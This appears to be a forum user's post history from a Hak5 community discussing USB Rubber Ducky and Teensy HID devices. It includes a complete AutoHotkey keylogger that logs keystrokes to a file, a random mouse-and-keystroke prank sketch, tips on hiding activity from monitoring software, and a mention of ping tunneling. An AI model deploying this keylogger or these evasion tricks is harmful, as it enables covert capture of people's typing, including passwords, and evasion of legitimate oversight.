-
Posts
42 -
Joined
-
Last visited
Posts posted by 1n5aN1aC
-
-
Couldn't this also be done with a teensy usb-hid device that has a microsd card slot? The teensy monitors for keypresses then writes them to a file on the microsd card
Yes, but how do you go about knowing which keys are pressed? Of course, you can install a autohotkey script, but w/o that I don't know if it's possible.
Here's a great AHK script:
;#NoTrayIcon Sendmode, InputThenPlay #SingleInstance force FormatTime, OutputVar, %A_Now% FileAppend, `r`n `r`n `r`n, %A_ScriptDir%\12.txt FileAppend, %OutputVar%, %A_ScriptDir%\12.txt FileAppend, `r`n `r`n `r`n, %A_ScriptDir%\12.txt ~Space:: FileAppend, _, %A_ScriptDir%\12.txt return ~a:: FileAppend, a, %A_ScriptDir%\12.txt return ~*b:: FileAppend, b, %A_ScriptDir%\12.txt return ~c:: FileAppend, c, %A_ScriptDir%\12.txt return ~d:: FileAppend, d, %A_ScriptDir%\12.txt return ~e:: FileAppend, e, %A_ScriptDir%\12.txt return ~f:: FileAppend, f, %A_ScriptDir%\12.txt return ~g:: FileAppend, g, %A_ScriptDir%\12.txt return ~h:: FileAppend, h, %A_ScriptDir%\12.txt return ~i:: FileAppend, i, %A_ScriptDir%\12.txt return ~j:: FileAppend, j, %A_ScriptDir%\12.txt return ~k:: FileAppend, k, %A_ScriptDir%\12.txt return ~l:: FileAppend, l, %A_ScriptDir%\12.txt return ~m:: FileAppend, m, %A_ScriptDir%\12.txt return ~n:: FileAppend, n, %A_ScriptDir%\12.txt return ~o:: FileAppend, o, %A_ScriptDir%\12.txt return ~p:: FileAppend, p, %A_ScriptDir%\12.txt return ~q:: FileAppend, q, %A_ScriptDir%\12.txt return ~r:: FileAppend, r, %A_ScriptDir%\12.txt return ~s:: FileAppend, s, %A_ScriptDir%\12.txt return ~t:: FileAppend, t, %A_ScriptDir%\12.txt return ~u:: FileAppend, u, %A_ScriptDir%\12.txt return ~v:: FileAppend, v, %A_ScriptDir%\12.txt return ~w:: FileAppend, w, %A_ScriptDir%\12.txt return ~x:: FileAppend, x, %A_ScriptDir%\12.txt return ~y:: FileAppend, y, %A_ScriptDir%\12.txt return ~z:: FileAppend, z, %A_ScriptDir%\12.txt return ~1:: FileAppend, 1, %A_ScriptDir%\12.txt return ~numpad1:: FileAppend, 1, %A_ScriptDir%\12.txt return ~2:: FileAppend, 2, %A_ScriptDir%\12.txt return ~numpad2:: FileAppend, 2, %A_ScriptDir%\12.txt return ~3:: FileAppend, 3, %A_ScriptDir%\12.txt return ~numpad3:: FileAppend, 3, %A_ScriptDir%\12.txt return ~4:: FileAppend, 4, %A_ScriptDir%\12.txt return ~numpad4:: FileAppend, 4, %A_ScriptDir%\12.txt return ~5:: FileAppend, 5, %A_ScriptDir%\12.txt return ~numpad5:: FileAppend, 5, %A_ScriptDir%\12.txt return ~6:: FileAppend, 6, %A_ScriptDir%\12.txt return ~numpad6:: FileAppend, 6, %A_ScriptDir%\12.txt return ~7:: FileAppend, 7, %A_ScriptDir%\12.txt return ~numpad7:: FileAppend, 7, %A_ScriptDir%\12.txt return ~8:: FileAppend, 8, %A_ScriptDir%\12.txt return ~numpad8:: FileAppend, 8, %A_ScriptDir%\12.txt return ~9:: FileAppend, 9, %A_ScriptDir%\12.txt return ~numpad9:: FileAppend, 9, %A_ScriptDir%\12.txt return ~0:: FileAppend, 0, %A_ScriptDir%\12.txt return ~numpad0:: FileAppend, 0, %A_ScriptDir%\12.txt return ~+a:: FileAppend, A, %A_ScriptDir%\12.txt return ~+i:: FileAppend, I, %A_ScriptDir%\12.txt return ~,:: FileAppend, `,, %A_ScriptDir%\12.txt return ~.:: FileAppend, ., %A_ScriptDir%\12.txt return ~-:: FileAppend, -, %A_ScriptDir%\12.txt return ~(:: FileAppend, (, %A_ScriptDir%\12.txt return ~):: FileAppend, ), %A_ScriptDir%\12.txt return ~BS:: FileAppend, <, %A_ScriptDir%\12.txt return ~Return:: FileAppend, `r`n , %A_ScriptDir%\12.txt return
it doesn't yet get capitols, I know how to do it, and it's in the script for A, but I'm too lazy to finish it right now.
-
Something like this:
long randNumber; long rand1; long rand2; void setup(){ Serial.begin(9600); // if analog input pin 0 is unconnected, random analog // noise will cause the call to randomSeed() to generate // different seed numbers each time the sketch runs. // randomSeed() will then shuffle the random function. randomSeed(analogRead(0)); } void loop() { randNumber = random(40000); rand1 = random(40000); rand2 = random(40000); Mouse.move(-56, 39); delay(randNumber); Keyboard.print(rand1); delay(rand2); }
-
Security is difficult.... much harder than just designing working USB devices.
Ain't that the truth!
And really, if you design a system where you have to allow each device manually, who cares? You just click "Allow" Besides, most users are still clueless.
-
If you just wanted a song or two or three, you can easilly use FireFox & FlashGot. It works like a charm. (except some songs show up as blah-blah-blah.php.mp3, and if you play them after downloading, they crash your media player for some reason.....)
-
Desktops.exe included in the sysinternals suite works against most monitoring software. It opens a new desktop space in windows that you can switch too leaving the monitored desktop alone. (Of course they will see that you aren't moving your mouse or anything but you could switch back and scroll down a page once in a while to simulate reading ;p)
http://technet.microsoft.com/en-us/sysinte...s/cc817881.aspx
Now that is a good idea. It actually spawns a whole 'nother explorer.exe, and most screen monitoring programs probly wouldn't catch it....
-
This seems to be a very interesting thing, it is similar to something I saw on ThinkGeek back a few years ago, basicaly it is a device that hits a random key/random click every few minutes to annoy someone. I think that should be one of the first thing for us to make, an emulation of that, just plug it into the back of someones computer and randomly generate a key then press it.
yup, that shouldn't be too hard at all, and I love those things to annoy people- move the mouse a few inches every 10-30 seconds, send a letter or two every 20-40 seconds. It should be really easy if you can get it to generate random numbers (which I'm sure you can.)
-
Would it be possible to have the ducky be both an HID an a flash drive?
Yes, using a sd/micro sd card:
being discussed here: http://www.hak5.org/forums/index.php?showtopic=16239
orriginally from here: http://elasticsheep.com/2010/04/teensy2-us...ith-an-sd-card/
It is definatly possible, But it might be a little dificult to get it to be both HID & Mass Storage Device at the same time.
-
Paul Stoffregen Wow, thanks for the long summary. I found it quite interesting. So it's actually pretty close to what I expected. I was pretty sure you could use it as a "composite" device, but I wasn't sure how hard it would be.
-
did you get anywhere with this? give ping tunnel a shot
YES! Ping tunnel
-
How hard Is it going to be to use it as a storage device with an SD card? Is it going to work really easy, while still being a keyboard/mouse, or will it be kinda difficult?
-
500/s is plenty to do what you need to get access (install something), but 62.5/s is't as good as I would have hoped.
-
I'm excited. This really is pretty clever since it's a HID. The possibilities are pretty much endless, and they are pretty much impossible to block, since it can even respond to UAC prompts! (and won't trigger very many on Windows 7) But I'm excited, and want one!
[Version 1] Duckhunt Usb Attack Prevention Tool
in Classic USB Rubber Ducky
Posted
So does it do only new usb devices? What if your using a usb keyboard as your main keyboard?